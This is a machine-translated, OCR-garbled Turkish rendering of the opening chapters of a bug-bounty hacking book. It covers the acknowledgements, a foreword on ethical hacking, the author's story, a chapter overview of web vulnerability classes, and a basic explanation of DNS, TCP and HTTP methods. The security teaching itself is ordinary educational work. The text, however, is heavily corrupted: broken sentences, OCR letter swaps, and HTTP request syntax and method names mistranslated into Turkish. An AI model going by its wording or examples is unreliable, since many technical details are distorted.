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Bu Kitab1 Tweet'le!

Bu kitap hakkinda s6zctigii Twitter'da yayarak Peter Yaworski'ye yardim et !
Bu kitap i¢in 6nerilen tweet:

Web Hacking 101'i okumak i¢in sabirsizlaniyorum:
(@yaworsk #bugbounty

Bu kitap i¢in Onerilen etiket #bugbounty .

Aramak i¢in bu baglantiya tiklayarak baskalarinm kitap hakkinda neler s6yledigini 6grenin.
Twitter'daki bu etiket i¢in:

#bugbounty
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Andrea ve Ellie'ye, siirekli bir motivasyon roller coaster'imi destekledigin igin tesekkiir ederim.
ve giiven. Bu kitabi sensiz asla bitiremezdim, yolculugum
hacklemek asla baglamaz bile.

HackerOne ekibine gore, bu kitap sizin i¢in olmasaydi ne olmazdi, tesekkiir ederim.
bu kitab1 daha yapmak i¢in katkida bulundugunuz tiim destek, geribildirim ve ¢aligmalar igin
30 agiklamanin sadece bir analizi.

Son olarak, bu kitap en az 9.99 $ karsiliginda satis yaparken, onerilen veya iizerinde satig

19.99 § fiyati minimum fiyat: diisiik tutmama yardime:1 oluyor, bu yiizden bu kitap erisilebilir durumda
daha fazla parasini 6deyemeyen insanlara. Bu satiglar ayrica zaman ayirmami sagliyor.

hack’ten siirekli icerik eklemek ve kitab1 daha iyi hale getirmek

birlikte.

Keske minimumdan fazlasini 6deyen herkesi tesekkiir edebilseydim

sen, liste ¢cok uzun olurdu ve aslinda alicilarin iletisim bilgilerini bilmiyorum
Bana ulagmadiklari siirece. Ancak, daha fazla 6deme yapan kiigiik bir grup var.
alimlarini yaparken onerilen fiyati ¢ok uzun bir yol gidiyor. isterdim

onlar burada taniyin. Onlar igerir:

1. @ Ebrietas0

2. Gizemli Alict

3. Gizemli Alic

4. @nahamsec (Ben Sadeghipour)
5. Gizemli Alic

6. @ Spam404O0nline

7. @ Danyl0D (Danylo Matviyiv)
8. Gizemli Alic

9. @arneswinnen (Arne Swinnen)

Bu listede olmaniz gerekiyorsa, liitfen beni Twitter'da DM.

Bunun bir kopyasini alan herkese tesekkiir ederim!

icindekiler
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1. Onsoz

Ogrenmenin en iyi yolu basitge yapmaktir. Iste biz buyuz - Michiel Prins ve Jobert Abma

- kesmeyi 6grendi.

Gengtik. Oniimiizde gelen tiim hackerlar ve gelecek olanlarin hepsi gibi

sonra, kontrol edilemeyen, merak uyandiran seyleri anladik.

calisti. Cogunlukla bilgisayar oyunlar1 oynuyorduk ve 12 yasina kadar 6grenmeye karar verdik.

kendi yazilimimizi nasil olusturacagimizi. Visual Basic ve PHP'de nasil programlanabilecegini 6grendik
Kiitiiphane kitaplarindan ve uygulamalarindan.

Yazilim gelistirme anlayisimizdan, bu becerilerin hizla ortaya ¢iktigini kesfettik.

diger gelistiricilerin hatalarii bulmamiza izin verdi. Binadan ayrilmaya basladik ve

hack o zamandan beri bizim tutkumuz oldu. Lise mezuniyetimizi kutlamak i¢in

mezuniyetimizi kutlayan bir reklami yayinlamak i¢in bir televizyon kanalinin yayin kanalini devraldi
sinif. O sirada eglenirken, hizlica sonuglandigini ve bunun sonuglarini 6grendik.

diinyanin ihtiya¢ duydugu bilgisayar korsanlar1 degil. TV istasyonu ve okul hi¢ eglenmedi

ve yaz aylarim pencerelerimizi ceza olarak harcadik. Universitede dondiik

En iist diizeyde, kamuoyunda miisterileri olan uygulanabilir bir danismanlik igi konusundaki becerilerimiz
tiim diinyada 6zel sektdr. Hacking deneyimimiz bizi HackerOne'a gotiirdii.

2012 yilinda ortak kurduk. Evrendeki her firmaya izin vermek istedik.

bilgisayar korsanlariyla bagaril bir sekilde ¢alisin ve bugiin HackerOne’un gorevi olmaya devam ediyor.

Bunu okuyorsaniz, bilgisayar korsani ve bocek avcist olmak igin gereken merak da vardir.

Bu kitabin yolculugunuz boyunca muazzam bir rehber olacagina inaniyoruz. Zenginlerle dolu,
gergek hata ddemeleriyle sonuglanan gergek diinya giivenlik ag1g1 raporlart 6rnekleri,

yazar ve diger bir bilgisayar korsani, Pete Yaworski tarafindan faydali analizler ve incelemeler.
O senin 6grendigin gibi senin arkadasin ve bu ¢cok degerli.

Bu kitabin bu kadar 6nemli olmasinin bir baska nedeni de nasil etik olacagina odaklanmasi.
Hacker. Hacking sanatinda ustalasmak, umdugumuz son derece gii¢lii bir beceri olabilir.

iyi i¢in kullanilacaktir. En basarili bilgisayar korsanlari, ince ¢izgide nasil gezinilecegini biliyor
hack yaparken dogru ile yanlis arasinda. Bir¢ok insan bir seyleri kirabilir ve hatta deneyebilir
hizli para kazanin. Ancak internet’i daha giivenli hale getirebileceginizi diisiiniin

Diinyadaki sasirtic1 sirketler, hatta yol boyunca bile para kazaniyorlar. Yeteneginiz var
milyarlarca insan1 ve verilerini giivende tutma potansiyeli. Umarim budur

arzuluyorsun.

Tiim bunlari ¢ok iyi belgelemek i¢in zaman harcadig i¢in Pete'e sonu gelmedigi i¢in minnettariz.
Bagslarken bu kaynaga sahip olmayi diliyoruz. Pete'in kitab1 okumak bir zevktir

bilgisayar korsanlig1 yolculugunuzu baslatmak i¢in gereken bilgiler.

Mutlu okumalar ve mutlu hack!

Onséz

Sorumlu bir sekilde hacklemeyi unutma.

Michiel Prins ve Jobert Abma Kurucu Ortaklari, HackerOne
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2. Giris

Bu kitabi satin aldigiiz i¢in tesekkiir ederiz, umarim siz de benim kadar okurken ¢ok eglenirsiniz.

arastirmak ve yazmak.

Web Hacking 101 benim ilk kitabimdir, hacklenmenize baslamaniza yardimci olmak i¢indir. Bagladim
Bunu, kendime ait bir yan iiriin olan 30 kirilganligin kendisinin yaymlanmis bir agiklamasi olarak yazdim.

6grenme. Cabucak ¢ok daha fazlasina doniistii.

Kitap i¢in umudum, en azindan, gozlerini hacklemenin engin diinyasina agmak.

En iyisi, umarim bu web’i daha giivenli bir yer haline getirme yolunda ilk adiminiz olacaktir.



bunu yaparken biraz para kazanmak.
Her sey nasil basladi

2015 yilim sonlarinda, kitapta rastladim, Biz Anonimiz: Hacker Diinyasinin Iginde

LulzSec, Anonim ve Kiiresel Siber Isyan'in Parmy Olson tarafindan baslatiimasiyla sona erdi

bir haftada okuyor. Yine de bitirdikten sonra, bu bilgisayar korsanlarmin nasil oldugunu merak ettim
Bagladi

Daha ¢ok susadim ama sadece bilgisayar korsanlarinin NE yaptigini bilmek istemedim.
NASIL bilgisayar korsanlar yapti. Bu ylizden okumaya devam ettim. Ama ne zaman yeni bir kitap kazirsam, hala ayrildim
ayni sorularla:

* Diger Hacker'lar bulduklar1 giivenlik agiklarini nasil 6grenir?
» Insanlar nerede giivenlik agiklar1 buluyor?

* Hacker'lar hedef siteyi hackleme islemine nasil baglar?

* Sadece otomatik araglar1 kullanmakla m1 ugrastyorsunuz?

* Giivenlik agiklarini nasil bulabilirim?

Ancak daha fazla cevap aramaya, daha fazla kap1 agmaya devam etti.

Ayni saatlerde, Coursera Android gelistirme kurslarina katilryordum

Diger ilging kurslar i¢in bir gdz atin. Coursera Cybersecurity uzmanligi

dikkatimi ¢ekti, 6zellikle Ders 2, Yazilim Giivenligi. Neyse ki benim i¢in, daha yeni bagliyordu
(Subat 2016 itibariyle, Yakinda listeleniyor) ve kayit oldum.

Birkag ders verdim, sonunda arabellek tagmasinin ne oldugunu ve nasil oldugunu anladim.
somiriilen. SQL enjeksiyonlarinin nasil yapildigini1 tamamen kavradim, oysa ki daha 6nce de biliyordum.
tehlike. Kisacas1 bagladim. Bu noktaya kadar, her zaman web giivenligine yaklastim.
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Giris 4

gelistiricinin bakis agisina gore, degerleri sterilize etme ve bunlardan kaginma ihtiyacini takdir etme
dogrudan kullanicr girisi kullanarak. Simdi her seyin neye benzedigini anlamaya baslamigtim.
Bir hacker'i bakis agist.

Hackcrowd'un forumlarina nasil girilecegi ve rastlanacagi hakkinda daha fazla bilgi aramaya devam ettim.
Maalesef, o sirada asir1 aktif degillerdi, ancak orada belirtilen biri var.

HackerOne hacktivity ve bir rapora baglandi. Baglantidan sonra sagirdim. ben ... idim

bir sirkete yazilmig bir giivenlik agiginin agiklamasini okumak;

Diinya. Belki daha da 6nemlisi, sirket gergcekten bulmak i¢in hacker 6dedi ve

Bunu sikayet et!

Bu bir déniim noktasiyds, takimtili oldum. Ozellikle ev sahibi bir Kanadali

sirket, Shopity, agiklamalarda paketin liderligini yaptyordu. Kontrol etme
Shopify'in profili disinda, agiklama listeleri agik raporlarla doluydu. Okuyamadim
yeterince. Giivenlik agiklari, Siteler Aras1 Kod Yazma, Kimlik Dogrulama ve

Siteler Arasi Istek Sahteciligi, sadece birkag isim.

Kuskusuz, bu asamada, raporlarin ayrintilarin1 anlamakta zorlandim.
Giivenlik agiklarindan ve sémiirii yontemlerinden bazilarinin anlasilmasi zordu.

Belirli bir raporu denemek ve anlamak i¢in Google’da arama yapiyorum, GitHub sorunuyla sona erdi
eski bir Ruby on Rails i¢gin konuya baglamadan 6nce zayif parametre agig1 (bu ayrintili
Uygulama Mantig1 boliimii) Egor Homakov tarafindan bildirilmistir. Egor'u takip etmek beni yonlendirdi
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Bazi ciddi karmagik gilivenlik agiklari i¢in agiklamalar igeren bloguna.

Deneyimlerini okudugumda, hack diinyasinin ovadan fayda saglayabilecegini anladim.
Gergek diinyadaki giivenlik agiklarinin dil agiklamalari. Ve sadece dyle oldu, 6grendim

bagkalarina dgretirken daha iyi.

Ve boylece, Web Hacking 101 dogdu.

Sadece 30 Ornek ve I1k Satisim

Basit bir hedefle baslamaya, 30 web giivenlik agigin1 bulup agiklamaya karar verdim
Anlamak, sade bir dil.

En kotiisti, zayif yonleri aragtirip yazmanin dgrenmeme yardimer olacagini diigiindiim.
hackleme hakkinda. En iyi ihtimalle, bir milyon kopya satar, kendini yayinlayan bir guru olur ve emekli olurdum.
erken. Ikincisi heniiz ger¢eklesmedi ve zaman zaman, eski sonsuz goriiniiyor.

Aciklanan 15 giivenlik a¢iginin etrafinda, taslagimi yaymlamaya karar verdim

satin alin - se¢tigim platform, LeanPub (hangisi muhtemelen satin almigsa)

aracilifiyla), miisterilere herkese erisim saglayarak, yinelemeli olarak yaymlamaniza olanak tanir
giincellemeler. HackerOne ve Shopify'a agiklamalari igin tesekkiir eden bir tweet gonderdim ve
diinyaya kitabimdan bahsetmek. Cok fazla beklemiyordum.

Fakat saatler i¢inde ilk satisim1 yaptim.

Giris

Aslinda kitabimi 6deyen birinin fikriyle mutlu oldum (yarattigim ve

igine bir ton ¢aba harciyorum!), LeanPub’a ne bulabilecegimi gérmek i¢in giris yaptim
gizemli alic1. Higbir sey ortaya ¢ikarmaz. Ama telefonum titresti, tweet aldim.

Michiel Prins'tan kitabi sevdigini ve dongiide kalmasini istedigini sdyledi.

Michiel Prins da kim? Twitter profilini kontrol ettim ve ¢ikiyor, o bir

HackerOne Kurucu Ortaklar1. Bok. Bir pargam HackerOne olmayacagini saniyordu

Icerik i¢in kendi sitelerine giivenmemden etkilendim. Olumlu kalmaya galistim Michiel
destekleyici goriiniiyordu ve dongiide tutulmasini istedi, bu ylizden muhtemelen zararsizdi.

11k satisimdan kisa bir siire sonra, ikinci bir satis aldim ve bir seyler yaptigimi diisiindim.
Tesadiifen, ayn1 zamanda, Quora'dan bir soru hakkinda bir bildirim aldim.
Muhtemelen ilgimi ¢eker, Nasil basarili bir bocek 6diil aveist olurum?

Baslarken edindigim tecriibeye gore, ayn1 ayakkabida olmanin nasil bir sey oldugunu bilmek
Kitabimi tanitmak istemenin bencil hedefi ile bir cevap yazacagimi diigiindiim.

Yari yolda, bana sadece diger cevabin yazdig yazdu.

Jobert Abma, HackerOne'un diger Kurucu Ortaklarindan biri. Oldukea yetkili bir ses
hacklemede. Bok.

Cevabimu terk etmeyi diisiindiim ama daha sonra onun girdisine dayanarak yeniden yazmay1 segtim.
¢linkii onun tavsiyesiyle rekabet edemedim. Gonder diigmesine basip higbir sey diisiinmedim. Ama sonra
Ilging bir e-posta aldim:

Merhaba Peter, Quora'nin cevabini gérdiim ve sonra senin bir kitap yazdigini gordiim.
Beyaz Sapka hakkinda hack. Daha fazlasini bilmek isterdim.

Saygilarimla,

Marten CEO'su, HackerOne



Uclii Bok. Bu noktada aklimdan bir siirii sey gecti, hicbiri pozitif degildi

ve hemen hemen hepsi mantiksizdi. Kisacasi, Marten'in yapmasinin tek sebebini diigtindiim.
e-posta bana g¢ekig kitabimi diisiirmekti. Neyse ki, bu olamazdi

gerceklerden daha uzak.

Kim oldugumu ve ne yaptigimi agiklamaya, ona 6grenmeye ¢alistigimi agikladim.

kesmek ve bagkalarinin benimle birlikte 6grenmelerine yardimer olmak. Anlagilan o, fikrin biiyiik bir hayraniydi.
HackerOne'un toplumu biiylitmek ve destek olmakla ilgilendigini agiklad1

Korsanlarin, 6grendikleri gibi, katilan herkes i¢in karsilikli yarar sagladig: gibi. Kisacasi, teklif etti

yardim etmek. Ve adam, hi¢ oldu mu? Bu kitap muhtemelen bugiin oldugu yerde veya dahil olmadiginda
iceriginin yaris1 ve HackerOne’in siirekli destegi ve motivasyonu olmadan.

Bu ilk e-postadan beri yazmaya devam ettim ve Marten kontrol etmeye devam etti. Michiel ve Jobert
taslaklar1 inceledi, onerilerde bulundu ve hatta bazi boliimlere katkida bulundu. Sansar bile
profesyonelce tasarlanmis bir kapagin maliyetini karsilamak i¢in yukarida ve 6teye gitti (elveda)

beyaz bir cad1 sapkasi ile diiz sar1 kapak, hepsi tarafindan tasarlanmis gibi goriiniiyordu
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dort yaginda). Mayis 2016'da, Adam Bacchus HackerOne'a katildi ve 5. giiniinde ¢aligtyor
orada, kitab1 okudu, diizenlemeleri sagladi ve kitapta olmanin nasil oldugunu agikladi.
giivenlik a¢1g1 sonu raporlarinin alinmasi - simdi rapor yazmaya dahil ettigim bir sey
boliim.

Bunlardan bahsediyorum ¢iinkii bu yolculuk boyunca, HackerOne hi¢ sormadi

karsiliginda bir sey. Onlar sadece toplumu desteklemek istemisti ve bu kitab1 gordii.

Bunu yapmanin iyi bir yoluydu. Hacker toplulukta yeni biri olarak, bu rezonansa girdi
benimle ve umarim seninle de olur. Sahsen destekleyici bir parcasi olmayi tercih ederim
ve kapsayici topluluk.

Oyleyse, o zamandan beri, bu kitap baslangicta benim diisiindiigiimiin 6tesinde, ¢arpici bicimde genisledi.
Sioned. Ve bununla, hedef kitle de degisti.

Bu kitap kim i¢in yazilmistir

Bu kitap akilda yeni bilgisayar korsanlari ile yazilmigtir. Bir web gelistiricisi olup olmaniz 6énemli degil,
web tasarimcisi, evde kalmak, 10 yasinda veya 75 yasinda bir anne. Bu kitabin bir olmasini istiyorum.
Farkli giivenlik agiklarini anlamak i¢in yetkili referans, nasil yapilir

Onlart nasil bulacaginizi, nasil rapor alacaginizi, hatta nasil para alacaginizi, savunma kodunu nasil yazacaginizi bulun.

Bununla birlikte, bu kitab kitlelere vaaz etmek i¢in yazmadim. Bu gercekten bir kitap
birlikte 6grenme hakkinda. Bu nedenle, basarilar1 ve bazi 6nemli diisiincelerimi paylagiyorum (ve

utang verici) basarisizliklar.

Kitap ayrica, belirli bir béliim varsa
ilgileniyorum, ilk 6nce onu oku. Bazi durumlarda, daha dnce tartisilan referans béliimlerini yapryorum.
ancak bunu yaparken, boliimleri birbirine baglamaya cgalistyorum, bdylece ileri geri donebilirsiniz. Bu kitabr istiyorum

keserken agik tuttugun bir sey olmak igin.

Bu notta, her bir giivenlik ag1g1 tiirii bolimil ayn1 sekilde yapilandirilmistir:

* Giivenlik ag¢1g1 tiiriinlin bir agiklamasiyla baglayn;
* Giivenlik a¢181 drneklerini inceleyin; ve,

* Bir 6zet ile sonuglandirin.
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Benzer sekilde, bu bolimlerdeki her 6rnek ayni sekilde yapilandirilmigtir ve sunlar igerir:

* Giivenlik a¢181 bulma konusundaki zorlugum hakkindaki tahminim
* Giivenlik agiginin bulundugu yer ile iliskili url

* Rapor veya yazinin baglantisi

* Giivenlik agigimin bildirildigi tarih

* Rapor i¢in 6denen tutar

* Giivenlik a¢iginin anlasilmasi kolay

Giris 7
* Kendi ¢abalariniza uygulayabileceginiz 6nlemleri alin

Son olarak, hacklemenin bir 6nkosulu olmasa da, bazilarina sahip olmak iyi bir fikir olabilir.
HTML, CSS, Javascript ve belki de bazi programlama konularina aginalik. Bu demek degil
web sayfalarini en bastan bastan baslayarak toplayabilmeniz gerekir

ancak bir web sayfasinin temel yapisini anlamak, CSS'nin nasil bir gériiniim ve his tanimladig1
Javascript ile yapilabilecekler, giivenlik agiklarini ¢dzmenize yardimci olacak ve

Bunu yapmanin ciddiyetini anlayin. Programlama bilgisi siz oldugunuzda yardimei olur.
uygulama mantig1 agiklarini aramak. Kendini programcinin i¢ine koyabilirsen

Bir seyi nasil uyguladiklarini veya kodlarini nasil okuduklarini tahmin etmek i¢in

kullanilabilir, oyunda &nde olacaksimn.

Bunu yapmak i¢in Udacity’nin HTML’ye Giris ve

CSS ve Javacript Temelleri , Kaynaklar boliimiine dahil ettigim baglantilar. Eger 6yleysen
Udacity'ye asina olmayan, gorevi erisilebilir, uygun fiyatls, ilgi ¢ekici ve

diinyaya son derece etkili yiiksek 6gretim. Gibi sirketleri ile ortak olduk

Program olusturmak ve ¢evrimigi kurslar sunmak i¢in Google, AT&T, Facebook, Salesforce vb.

Boliime genel bakas

2. Boliim , HTTP de dahil olmak {izere internetin nasil ¢alistigini gdsteren giris niteligindedir.

istekleri ve cevaplari ve HTTP yontemleri.

Béliim 3 , somiirmeyi iceren ilging bir glivenlik agig1 olan A¢ik Ydnlendirmeleri kapsar
kullanicilari, bir saldirganin kullanicinin giivenini kullanmalarini saglayan baska bir siteyi ziyaret etmeye y6nlendiren bir site

savunmasiz sitede.

Boliim 4 , HTTP Parametre Kirliligini kapsamaktadir ve i¢inde sistemlerin nasil bulunacagini 6greneceksiniz.

bu, giivenli olmayan girdiler boyunca ligiincii taraf sitelerine gecilmeye agik olabilir.

Béliim 5 , 6rnekler arasinda yapilan Siteler Arasi Istek Sahteciligi giivenlik agiklarimi kapsar
Bu, kullanicilarin bir web sitesine bilgi gonderme konusunda nasil kandirilabilecegini gosterir.

bilmeden giris yapti.

Boliim 6 , HTML Enjeksiyonlarini kapsar ve i¢indeki HTML'yi nasil enjekte edebileceginizi 6greneceksiniz.
Bir web sayfasina koétii niyetli olarak kullanilabilir. En ilging paket servislerden biri nasil
Siteleri sizi HTML’yi kabul etme ve igleme koyma konusunda kandirmak i¢in kodlanmis degerleri kullanabilirsiniz

filtreleri atlayarak gonderin.

Boliim 7 , Tastyic1 Geri Doniis Hatt1 Besleme Enjeksiyonlarini ve i¢indeki 6rnekleri kapsar.

satir bas1 gonderme, satir sonlar1 ve bunlarin olusturulmus igerik tizerindeki etkisi.

Boliim 8 , Siteler Aras1 Script Yazmayi, ¢ok cesitli yollarla biiyiik bir konuyu kapsamaktadir.
istismara ulagmak. Siteler Aras1 Komut Dosyasi olusturma, biiytik firsatlari ve biitiin bir kitab1 temsil eder

Muhtemelen iizerine yazilabilir ve yazilmalidir. Yapabilecegim bir ton 6rnek var.



buraya ekledim, bu ylizden 6grenme i¢in en ilging ve yararl olan1 lizerine odaklanmaya c¢aligiyorum.
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Boliim 9 , Sunucu Tarafi Sablonu Enjeksiyonunu ve ayrica istemci tarafi enjeksiyonlarini kapsar. Bunlar
giivenlik agiklari, dogrudan kullanicilara girdi girisi yapan gelistiricilerin avantajlarindan yararlanir
sablon s6zdizimi kullanilarak gonderildiginde sablonlar. Bu giivenlik agiklarinin etkisi

nerede gergeklestigine bagl olarak degisir, ancak genellikle uzaktan kod yiiriitiilmesine neden olabilir.

Boliim 10 manipiile iceren yapisal sorgu dili (SQL) enjeksiyonlarini kapsar.
bir siteden bilgi ¢ikarmak, giincellemek veya silmek i¢in veritabani sorgular1 yapmak.

Béliim 11, bir saldirganin kullanictya uzaktan kumanda géndermesine izin veren Sunucu Tarafi Istegi Sahteciligini kapsar
Saldirgan adma miiteakip HTTP istekleri yapmak i¢in sunucuya

Boliim 12 , bir sitenin ayristirilmasindan kaynaklanan XML Dis Varlik giivenlik agiklarini kapsar
genigletilebilir bigimlendirme dili (XML). Bu tiir giivenlik agiklar gibi seyleri igerebilir

6zel dosyalar1 okumak, uzaktan kod ¢alistirmak, vb.

Boliim 13 Uzaktan Kod Yiiriitmeyi veya bir saldirganin yiiriitme 6zelligini kapsar
kurban sunucusunda rastgele kod. Bu tiir giivenlik a¢ig1 en tehlikeli olanlar arasinda

Bir saldirgan hangi kodun yiiriitiilecegini kontrol edebilir ve genellikle bu sekilde 6diillendirilir.

Boliim 14 , bellekle ilgili giivenlik agiklarini, olabilecek bir giivenlik aci8: tiirlinii kapsamaktadir.
bulmak zor ve tipik olarak diisiik seviyeli programlama dilleri ile ilgilidir. Ancak,

Bu tiir bocekleri kesfetmek, bazi ciddi giivenlik agiklarina neden olabilir.

Boliim 15, arastirma hakkinda ¢ok sey dgrendim Sub Domain Devirlerini kapsamaktadir.

Bu kitap ve biiyiik 6l¢lide Mathias, Frans ve Dectectify ekibine aktarilmalidir.

Esasen burada, bir site bir ligiincii taraf hizmetiyle barindiran, ancak higbir zaman barindirmayan bir alt etki alan1 anlamina gelir
aslinda bu hizmetten uygun adresi talep ediyor. Bu bir saldirgana izin verir

adresi ti¢lincii sahistan tescil ettirmek, boylece tiim trafigin

kurbanin etki alani aslinda bir saldirganin iizerinde.

Boliim 16 , iki veya daha fazla islem igeren bir giivenlik a¢ig1 olan Yarig Kosullarini kapsar.

yalnizca bir eylemin gerceklesmesine izin vermesi gereken kosullara dayal eylem yapmak. I¢in

Ornegin, banka havalelerini diisiiniin, 500 ABD Dolar1 tutarindaki iki havaleyi gerceklestirememeniz gerekir
bakiyeniz sadece 500 dolar oldugunda. Ancak, bir yarig durumu giivenlik ag1g1 buna izin verebilir.

Béliim 17, bir saldirganin giivenli olmayan Direct Object Reference giivenlik agiklarini kapsar
Olmamas1 gereken itirazlar1 (veritabani kayitlari, dosyalar vb.) okuyabilir veya giincelleyebilir

izni.

Béliim 18 , uygulama mantig1 tabanli giivenlik agiklarmi kapsar. Bu béliim bir bitytidii
Programlama mantig1 kusurlarma bagl oldugunu diisiindiigiim tiim agiklari yakala. Bunlar1 buldum

Yeni baslayanlar i¢in garip seyler aramak yerine giivenlik agiklarini bulmak daha kolay olabilir.
ve bir siteye zararl girdiler gébndermenin yaratict yollart.

Boliim 19 , nasil baslayacaginiz konusunu ele almaktadir. Bu boliim size yardimei olmak i¢indir
Adim adim rehbere atladiginiz adimlarin aksine, agiklart nerede ve nasil arayacaginizi diisiiniin.
bir siteyi hacklemek. Tecriibelerime ve sitelere nasil yaklastigim iizerine kuruludur.

Boliim 20 , tartismasiz, tavsiye ettigi en dnemli kitap boéliimlerinden biridir.

etkili bir raporun nasil yazilacagi konusunda. Diinyadaki biitiin hack sen
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konuyu gerekli sirkete diizgilin sekilde rapor edemez. Gibi, biraz biiyiik ovaladi
Odemeyi yapan sirketlere, en iyi nasil rapor verebilecekleri ve tavsiye alabilecekleri konusundaki tavsiyeleri icin adlandirma
HackerOne'dan. Buraya c¢ok dikkat ettiginizden emin olun .

Biliim 21 vites degistirir. Burada dnerilen bilgisayar korsanlig araglarina dalyoruz. Tlk
Bu boliimiin taslagi HackerOne'dan Michiel Prins tarafindan bagislanmistir. O zamandan beri biiyiidii

buldugum ve kullandigim faydali araglarin yasam listesine.

Boliim 22 , bilgisayar korsanligmizi bir iist seviyeye ¢ikarmaniza yardime1 olmaya adamustir. Iste yiiriiyorum
Ogrenmeye devam etmek icin harika kaynaklarin var. Yine, risk altinda

Kirik bir rekor gibi geliyor, orijinaline katkida bulunan Michiel Prins sayesinde biiyiik

Bu béliimii baglatan liste.

23. Boliim kitab1 tamamlar ve bilmeniz gereken bazi temel terimleri kapsar.
hacklemek. Cogu diger boliimlerde tartigilirken, bazilari tavsiye etmiyorum
burada bir okuma alarak.

Uyan Sézii ve Tyilik

Bilgisayar korsanlig1 diinyasia girmeden dnce, bir seyi agikliga kavusturmak istiyorum. Oldugum gibi
o6grenme, kamuya agiklamalari okuma, insanlarin tiim paralarini gérme (ve hala

yapmak, siireci cazip hale getirmek ve bunu kolay bir yol olarak diisiinmek kolaylasti

¢abuk zengin ol. Degil. Hack yapmak son derece faydali olabilir ama bulmak ve okumak zor

yol boyunca yasanan basarisizliklar hakkinda (biraz utang verici bazilarini paylastigim yer haric)
hikayeleri). Sonug olarak, ¢ogu zaman insanlarin basarilarini duyacaginiz i¢in gelisebilir

bagarinin gergek¢i olmayan beklentileri. Ve belki hizli bir sekilde basarili olacaksin. Ama eger sen

degil, caligmaya devam et! Kolaylasacak ve bir raporun ¢dziilmesi harika bir duygu.

Bununla, sormam gereken bir iyilik var. Okudugunuz gibi, liitfen bana Twitter'dan mesaj gonderin @yaworsk
ve bana nasil gittigini bildirin. Basarili veya basarisiz olsun, duymak isterim

senden. Bocek avi, miicadele ediyorsan yalniz ise yarayabilir ama ayn1 zamanda

birbirleriyle kutlaymn. Ve belki de sizin bulmaniz ...

sonraki bask1.

Iyi sanslar!!
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3. Arkaplan

Benim gibi yeni bagliyorsan ve bu kitap diinyaya ilk adimlarin arasinda.

hack, internetin nasil ¢alistigini anlamaniz sizin i¢in 6nemli olacak.

Sayfay1 ¢evirmeden Once, ne demek istedigimi adres gubuguna yazdiginiz URL’nin
IP adreslerine vb. gore ¢6ziimlenmis bir alanla eslestirilir.

Bir ciimleyle cercevelemek igin: Internet, bagh ve

birbirlerine mesaj gonderme. Bazilar1 yalnizca belirli mesaj tiirlerini kabul eder, bazilari yalnizca
sinirl sayida bagka sistemlerden, ancak internetteki her sistemden mesajlara izin ver

kisilerin bir mesaj gonderebilmesi i¢in bir adres alir. Daha sonra her bir sisteme kalmig

mesajla ne yapilacagini ve nasil cevap vermek istedigini belirlemek i¢in.

Bu mesajlarin yapisini tanimlamak i¢in, insanlar bunlardan bazilarinin

sistemler Yorumlar Istekleri'nde (RFC) iletisim kurmalidir. Ornek olarak, bir

HTTP’ye bakin. HTTP, internet tarayicinizin iletisim kurma seklinin protokoliinii tanimlar.
bir web sunucusu ile. Ciinkii internet tarayiciniz ve web sunucunuz uygulamayi kabul etti

Ayni protokol, iletisim kurabiliyorlar.

Tarayicinizin adres ¢ubuguna http://www.google.com adresini girdiginizde ve return tusuna basin.

Asagidaki adimlar, yiiksek diizeyde neler oldugunu agiklar:

* Tarayiciniz etki alan1 adint URL’den (www.google.com) ¢ikarir.

* Bilgisayariniz, yapilandirtlmis DNS sunucularina bir DNS istegi gonderir.
DNS, bir alan adinin bir IP adresine ¢dziilmesine yardimci olabilir, bu durumda
216.58.201.228. Ipucu: bakmak icin terminalinizden dig A www.google.com adresini kullanabilirsiniz.
etki alan1 i¢in IP adreslerini ayarlama.

* Bilgisayarimiz, 80 numarali baglant1 noktasindaki IP adresiyle bir TCP baglantis1 kurmaya galisiyorsa,
HTTP trafigi igin kullamhir. Ipucu: nc gahigtirarak TCP baglantisi kurabilirsiniz.
216.58.201.228 80 sizin terminalinizden.

* Bagarili olursa, tarayiciniz asagidaki gibi bir HTTP istegi gonderir:

GET/HTTP/ 1.1
Ev sahibi : www.google.com
Baglanti : canl1 tutmak

Kabul et : application / html, * / *

» Simdi sunucudan bir cevap bekleyecek ve soyle bir seye benzeyecektir:
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HTTP /1.1 200 Tamam

Icerik Tiirii: metin / html

<Html>
<Head>
<title> Google.com </title>

</ Head>



<Body>

</ Body>

</ Html>

* Tarayiciniz, dondiiriilen HTML, CSS ve JavaScript’i ayrigtirir ve olusturur. Bunda
Bu durumda, Google.com'un ana sayfasi ekraninizda gosterilecektir.

Simdi, 6zellikle tarayici, internet ve HTML ile ilgili olarak

daha dnce, bu mesajlarn nasil gonderilecegine dair bir

Tim HTTP / 1.1 i¢in kullanilan belirli yontemler ve bir Host istek bagliginin gerekliligi

4. maddede belirtildigi gibi talepler: 4. Tanimlanan yontemler arasinda GET, HEAD, POST, PUT,
SIL, iz, BAGLANTI ve SECENEKLER.

GET metodu istek tanimlanir ne olursa olsun bilgi almak i¢in anlami1

Tekdiizen Istek Tanimlayicist (URI). URI terimi, dzellikle verilen

Yukaridaki bir URL’ye atifta bulunmak, fakat esas olarak, bu kitabin amaglari igin

URL, bir kisinin adresi gibidir ve bir kisinin ad1 gibi bir URI tiirtidiir

(tesekkiirler Wikipedia). HTTP polisi olmasa da, genellikle GET istekleri olmamalidir
Herhangi bir veri degistirme fonksiyonuyla iliskiliyken, yalnizca veri almali ve saglamalidir.

BAS Sunucu bir vermemelidir haricinde yontem GET mesaj1 aynidir
yanit olarak ileti govdesi. Genelde bunun kullanildigini sik sik gérmezsiniz ama goriiniise gore
genellikle gegerlilik, erisilebilirlik ve son degisiklikler i¢in koprii metin baglantilarini stnamak i¢in kullanilir.

POST yontemi olarak, sunucu tarafindan yapilmasi gereken bir fonksiyonu ¢agirmak i¢in kullanilan
sunucu tarafindan belirlenir. Bagka bir deyisle, genellikle bir tiir arka ug olacaktir.

yorum olusturma, kullanic1 kaydetme, hesap silme vb.

POST'a yanit olarak sunucu tarafindan gergeklestirilen eylem degiskenlik gésterebilir.

aksiyon alinmasi ile sonuglanir. Ornegin, istegi islerken bir hata olusursa.

PUT bazi fonksiyonu ¢agiran ancak mevcut bir bahsederken yontemi kullanilirsa
varlik. Ornegin, hesabmizi giincellerken, bir blog gonderisini giincellerken vb.

gergeklestirilen eylem degisiklik gosterebilir ve sunucunun higbir islem yapmamasina neden olabilir.

SIL goriindiigii gibi yontem, uzaktan kumanda igin bir istek cagirmak i¢in kullamlir edilir

URI tarafindan tanimlanan bir kaynagi silmek i¢in sunucuyu segin.
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Arka fon

iZ yontemi, geri yansitmak i¢in kullanilan bu kez baska nadir bir yontemdir
istek sahibine mesaj gonderin. Bu isteklinin ne aldigin1 gérmesine izin verir

